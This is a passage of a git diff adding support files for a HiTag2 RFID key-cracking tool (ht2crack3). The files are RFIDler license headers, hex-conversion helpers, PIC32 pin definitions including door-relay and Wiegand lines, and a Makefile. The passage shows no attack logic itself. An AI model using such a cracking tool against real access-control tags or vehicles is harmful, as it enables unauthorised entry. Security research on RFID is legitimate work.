covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack3/.gitignore b/tools/hitag2crack/crack3/.gitignore new file mode 100644 index 000000000..c993f2fe3 --- /dev/null +++ b/tools/hitag2crack/crack3/.gitignore @@ -0,0 +1,6 @@ +ht2crack3 +ht2test + +ht2crack3.exe +ht2test.exe + diff --git a/tools/hitag2crack/crack3/HardwareProfile.h b/tools/hitag2crack/crack3/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack3/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack3/Makefile b/tools/hitag2crack/crack3/Makefile new file mode 100644 index 000000000..6f6b7b57c --- /dev/null +++ b/tools/hitag2crack/crack3/Makefile @@ -0,0 +1,19 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS= + +all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o + cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS) + cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS) + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack3 ht2test + +fresh: clean all diff --git a/tools/hitag2crack/crack3/hitagcrypto.c b/tools/hitag2crack/crack3/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These 